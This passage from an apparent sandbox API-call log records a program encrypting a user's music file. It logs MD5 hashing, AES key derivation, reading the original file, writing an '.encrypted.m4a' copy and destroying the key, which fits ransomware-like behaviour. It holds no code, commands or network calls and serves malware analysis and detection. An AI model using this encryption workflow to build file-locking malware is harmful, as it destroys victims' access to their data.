CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.642] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.642] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.643] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.643] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.643] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.643] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.643] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b0f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.643] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.643] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.643] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.643] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.644] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.644] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.644] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.644] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0027.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.646] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\yo5yetxnv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.646] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.646] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.646] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.646] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0027.646] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\yo5yetxnv.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.650] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.650] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0027.651] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5db, lpOverlapped=0x0) returned 1 [0027.651] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.653] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.654] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.654] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.654] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.654] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.655] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.655] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.655] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.655] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.656] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064a20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.656] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.657] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x105db, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x105e0) returned 1 [0027.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.657] CharLowerBuffW (in: lpsz="byte[67041]", cchLength=0xb | out: lpsz="byte[67041]") returned 0xb [0027.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.662] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.662] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.662] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.662] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43ab200*, pdwDataLen=0xe8f3dfdf68*=0x105db, dwBufLen=0x105e0 | out: pbData=0xe8f43ab200*, pdwDataLen=0xe8f3dfdf68*=0x105e0) returned 1 [0027.662] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.662] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.662] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.663] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.668] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.668] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.668] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.669] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.669] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.669] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, 